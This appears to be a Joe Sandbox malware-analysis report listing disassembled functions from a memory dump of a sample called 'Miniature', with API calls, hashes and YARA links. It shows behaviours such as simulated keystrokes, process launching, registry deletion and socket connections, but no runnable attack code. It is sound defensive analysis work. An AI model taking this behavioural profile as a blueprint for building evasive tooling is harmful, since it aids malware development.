Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: cb964e0c754a5a3d0ba6a65c9a5d43dcff06993513608b6ab384ac5a8c18e9fe
Instruction ID: 6f2b42095c3e77105bc77a47a7c0c8be6d3ba215486381a3bce892bcc5db2283
Opcode Fuzzy Hash: cb964e0c754a5a3d0ba6a65c9a5d43dcff06993513608b6ab384ac5a8c18e9fe
Instruction Fuzzy Hash: 9081B071504300ABE721EB24CC81E6FBBE8EF84714F158558F5959B2D2DB78E902CB92

Function 00F91800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f3838667f754ca3a4240e19ab6dd8682ff69b8f542427169c06916c627c451
Instruction ID: 2e8c682244467cc56f620336219290b5547e57e858ac87bb59707be24c79a777
Opcode Fuzzy Hash: f5f3838667f754ca3a4240e19ab6dd8682ff69b8f542427169c06916c627c451
Instruction Fuzzy Hash: 42716E3590010AEFEF18CF98CC89EAE7B75FF85310F248159F965AA251C7349A51EFA0

Function 0101B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(011B56B0), ref: 0101BA5D
IsWindowEnabled.USER32(011B56B0), ref: 0101BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0101BB4D
SendMessageW.USER32(011B56B0,000000B0,?,?), ref: 0101BB84
IsDlgButtonChecked.USER32(?,?), ref: 0101BBC1
GetWindowLongW.USER32(011B56B0,000000EC), ref: 0101BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0101BBFB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 0a2e5bdd615db38761871139961e70e659e675ce346c3e2928bf0d077ae641f8
Instruction ID: decea5b1c7ae6194426e191dc62fe3335a20053e2f35a548cc13de977b540a6f
Opcode Fuzzy Hash: 0a2e5bdd615db38761871139961e70e659e675ce346c3e2928bf0d077ae641f8
Instruction Fuzzy Hash: 9271BC35600204AFEB719F58C8D4FBABBF9FF09301F544099EAC597259CB7AA840DB60

Function 0100FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0100FB31
_memset.LIBCMT ref: 0100FBFA
ShellExecuteExW.SHELL32(?), ref: 0100FC3F

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

Part of subcall function 00FA436A: _wcscpy.LIBCMT ref: 00FA438D

GetProcessId.KERNEL32(00000000), ref: 0100FCB6
CloseHandle.KERNEL32(00000000), ref: 0100FCE5

Strings

@, xrefs: 0100FC0E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 2856efacd5cd7a2c606d2dff93bba12d33eb82e5c6aae64d199f27aa2ec13fd9
Instruction ID: 6113b8ea50fbd38bb4c1d157e8e137826ba4448cbcfde90fee4394bb80d9b714
Opcode Fuzzy Hash: 2856efacd5cd7a2c606d2dff93bba12d33eb82e5c6aae64d199f27aa2ec13fd9
Instruction Fuzzy Hash: 8361B074A00A199FDB21EF54C9919AEFBF4FF48314F148459E846AB391CB34AD42EF90

Function 00FF174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00FF178B
GetKeyboardState.USER32(?), ref: 00FF17A0
SetKeyboardState.USER32(?), ref: 00FF1801
PostMessageW.USER32(?,00000101,00000010,?), ref: 00FF182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 00FF184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00FF1894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00FF18B7

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 0bf5e013d0f329a69a0c2a6bc2a2f503156c518ec1bca803bfa1814fad4031cd
Instruction ID: b736bf0d014f0dae40dad9f51a89a0105525df77eb6d10f8f4e0139efc6c5d45
Opcode Fuzzy Hash: 0bf5e013d0f329a69a0c2a6bc2a2f503156c518ec1bca803bfa1814fad4031cd
Instruction Fuzzy Hash: C151F561D087D9BDFB368634CC15BB67EE97F06310F088589E2D9558E2D2D8DC88E750

Function 00FF1565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00FF15A4
GetKeyboardState.USER32(?), ref: 00FF15B9
SetKeyboardState.USER32(?), ref: 00FF161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00FF1646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00FF1663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00FF16A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00FF16C8

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: dfb5fb69eeeebea56426078028f1fa012451926b569d2771f67abd098208bab3
Instruction ID: 3d883e3be9535e66d04667bcac93816238b63614c67afc2695663f881793d633
Opcode Fuzzy Hash: dfb5fb69eeeebea56426078028f1fa012451926b569d2771f67abd098208bab3
Instruction Fuzzy Hash: 0F5107A09047D9BDFB3287248C45B7A7EA97F06310F0C4589E2D9968E2C699EC84F750

Function 00FF5BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00FF5BC5
_wcsncpy.LIBCMT ref: 00FF5BFA
_wcsncpy.LIBCMT ref: 00FF5C2C
_wcsncpy.LIBCMT ref: 00FF5C5F
_wcsncpy.LIBCMT ref: 00FF5CA1
_wcsncpy.LIBCMT ref: 00FF5CDB
_wcsncpy.LIBCMT ref: 00FF5D0A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: ede844bbcc1ead3c89be416fe45868b57d62f40df6ee68750a003a2c0ac735ba
Instruction ID: 2f00fed1877405e2dcee25dcd2bdb1a9cbdf85d7353783cca57a08710db56739
Opcode Fuzzy Hash: ede844bbcc1ead3c89be416fe45868b57d62f40df6ee68750a003a2c0ac735ba
Instruction Fuzzy Hash: 4D41B266C5161875CB11FBB5CC469DFB3B8AF04310F508956F609E3122EB38E315DBA6

Function 00FF3B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF4BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00FF3B8A,?), ref: 00FF4BE0

Part of subcall function 00FF4BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00FF3B8A,?), ref: 00FF4BF9

lstrcmpiW.KERNEL32(?,?), ref: 00FF3BAA
_wcscmp.LIBCMT ref: 00FF3BC6
MoveFileW.KERNEL32(?,?), ref: 00FF3BDE
_wcscat.LIBCMT ref: 00FF3C26
SHFileOperationW.SHELL32(?), ref: 00FF3C92

Strings

\*.*, xrefs: 00FF3C20

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 0f265e25fd0ca4fb62c97baab3d4ab30158a58d4dd5be642d40f6892111b9616
Instruction ID: 8039a269d4a1f985a70fb12e1b99dcb4400e561ea962b8725f72aae2293bac15
Opcode Fuzzy Hash: 0f265e25fd0ca4fb62c97baab3d4ab30158a58d4dd5be642d40f6892111b9616
Instruction Fuzzy Hash: 8941A57150C3489AC751EF64C881AEFB7ECAF89350F50092EF689C3161EB38D688D752

Function 010178B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 010178CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01017976
IsMenu.USER32(?), ref: 0101798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 010179D6
DrawMenuBar.USER32 ref: 010179E9

Strings

0, xrefs: 010178C3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: fca86ce7ca20adf54e4a9525b48b132d10247fa5f250f348f423faeea23f6c4c
Instruction ID: cfdb614a87516f21076505f569255e22fcdf3a26b2f279fa6727cce55c5f7e83
Opcode Fuzzy Hash: fca86ce7ca20adf54e4a9525b48b132d10247fa5f250f348f423faeea23f6c4c
Instruction Fuzzy Hash: 3A417B75A00308EFDB20DF58D884EAABBFAFF05310F048169F99597244C739A954CFA0

Function 01011602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 01011631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0101165B
FreeLibrary.KERNEL32(00000000), ref: 01011712

Part of subcall function 01011602: RegCloseKey.ADVAPI32(?), ref: 01011678
Part of subcall function 01011602: FreeLibrary.KERNEL32(?), ref: 010116CA
Part of subcall function 01011602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 010116ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 010116B5

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 45b234abeb95ef1096e636eefdc03463b6e8a3019aaf10fb9c3dcffd2ecbdff6
Instruction ID: eb3bc61c34a5af6a1312dc1dbf7d64d8787ee58c12d7e73770c8348a0cf7c101
Opcode Fuzzy Hash: 45b234abeb95ef1096e636eefdc03463b6e8a3019aaf10fb9c3dcffd2ecbdff6
Instruction Fuzzy Hash: 6B315271900209BFEB29CFA4D885EFFB7BCEF08300F1001A9F645E2244D7795A459BA4

Function 010168F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 01016911
GetWindowLongW.USER32(011B56B0,000000F0), ref: 01016944
GetWindowLongW.USER32(011B56B0,000000F0), ref: 01016979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 010169AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 010169D5
GetWindowLongW.USER32(?,000000F0), ref: 010169E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 01016A00

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: f95a71a9b89631103bfe103fff790303719b42d6b7831fb6d28b612519404fa9
Instruction ID: 89c4df7b051dc1d2ab32f90a347093a01f2b457c5067efd0c6d156a6473a14cd
Opcode Fuzzy Hash: f95a71a9b89631103bfe103fff790303719b42d6b7831fb6d28b612519404fa9
Instruction Fuzzy Hash: 94311A356402559FDB31CF1CDC84FA537EAEB4A710F2501A4F6958F2AACBBBA840DB50

Function 00FEE287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FEE2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FEE2F0
SysAllocString.OLEAUT32(00000000), ref: 00FEE2F3
SysAllocString.OLEAUT32(?), ref: 00FEE311
SysFreeString.OLEAUT32(?), ref: 00FEE31A
StringFromGUID2.OLE32(?,?,00000028), ref: 00FEE33F
SysAllocString.OLEAUT32(?), ref: 00FEE34D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: d40c6e48b9d3c331eb5db1fb6a36adb8b89f58d4edf23af16fbcbb63ee1b6946
Instruction ID: b0e87c1590ca05435a7b45b489767cb587480a443431f5bcf9ebf398c4776864
Opcode Fuzzy Hash: d40c6e48b9d3c331eb5db1fb6a36adb8b89f58d4edf23af16fbcbb63ee1b6946
Instruction Fuzzy Hash: 4421D872A00209BF9F20DEA9DC88CBF77ACEB08360B148125F958DB254DA74EC459760

Function 0100685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 01008475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 010084A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 010068B1
WSAGetLastError.WSOCK32(00000000), ref: 010068C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 010068F9
connect.WSOCK32(00000000,?,00000010), ref: 01006902
WSAGetLastError.WSOCK32 ref: 0100690C
closesocket.WSOCK32(00000000), ref: 01006935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0100694E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 2023f8154a0d28018d9cef254a30ff05283e63fded2118cb085585ffdb01b0bc
Instruction ID: 44bc63d6d4b0edfebe3dcb0f8580f73d9b574723f8d76db59f491cb5d73a5074
Opcode Fuzzy Hash: 2023f8154a0d28018d9cef254a30ff05283e63fded2118cb085585ffdb01b0bc
Instruction Fuzzy Hash: 3331D571600204AFEF219F64CC84FBE77EEEB44725F044169FD85A72C4CB79A9158BA1

Function 00FEE360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FEE3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FEE3CB
SysAllocString.OLEAUT32(00000000), ref: 00FEE3CE
SysAllocString.OLEAUT32 ref: 00FEE3EF
SysFreeString.OLEAUT32 ref: 00FEE3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 00FEE412
SysAllocString.OLEAUT32(?), ref: 00FEE420

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 409b76ecf6b48b02e040a263f8bd87b30df5f4b23d47f9e39fcb1ab1b9e104b9
Instruction ID: 0ce1d2045cc10dc0dd2303317ba1d588a97107c1739162a0845acd35af404156
Opcode Fuzzy Hash: 409b76ecf6b48b02e040a263f8bd87b30df5f4b23d47f9e39fcb1ab1b9e104b9
Instruction Fuzzy Hash: 4D218876604244AFAB20DFA9EC88DBF77ECEB4C3607108125F945CB294DA75EC419B64

Function 01017BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F92111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00F9214F
Part of subcall function 00F92111: GetStockObject.GDI32(00000011), ref: 00F92163
Part of subcall function 00F92111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F9216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 01017C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 01017C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 01017C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 01017C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 01017C8A

Strings

Msctls_Progress32, xrefs: 01017C28

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: e5101075e273006b403160d04dd5a64e017936bc713cbdeb67906715ac0082ab
Instruction ID: 514ad9934171017ba9c75bcfaccaf1f64e693227240797a683a84220072b1af5
Opcode Fuzzy Hash: e5101075e273006b403160d04dd5a64e017936bc713cbdeb67906715ac0082ab
Instruction Fuzzy Hash: ED1190B214021DBFEF258E64CC85EEB7F6DEF08798F014114BB48A6054C6769C21DBA0

Function 00FB41B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00FB4282,?), ref: 00FB41D3
GetProcAddress.KERNEL32(00000000), ref: 00FB41DA
EncodePointer.KERNEL32(00000000), ref: 00FB41E6
DecodePointer.KERNEL32(00000001,00FB4282,?), ref: 00FB4203

Strings

combase.dll, xrefs: 00FB41CE
RoInitialize, xrefs: 00FB41C2

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: ba35d07fb64a7fbea4c01cfb9f65469178c7bd36f4f2600cdef031acbc19700c
Instruction ID: 96f85fb93ed88835904010faaa7293eebd25095a2aad70281567de9e20b3bbdf
Opcode Fuzzy Hash: ba35d07fb64a7fbea4c01cfb9f65469178c7bd36f4f2600cdef031acbc19700c
Instruction Fuzzy Hash: E2E0E570A90311AFDB302F75ED49B4A3A69B719B06F608428F4C1DA08CCBBF50849F08

Function 00FB428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00FB41A8), ref: 00FB42A8
GetProcAddress.KERNEL32(00000000), ref: 00FB42AF
EncodePointer.KERNEL32(00000000), ref: 00FB42BA
DecodePointer.KERNEL32(00FB41A8), ref: 00FB42D5

Strings

combase.dll, xrefs: 00FB42A3
RoUninitialize, xrefs: 00FB4297

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
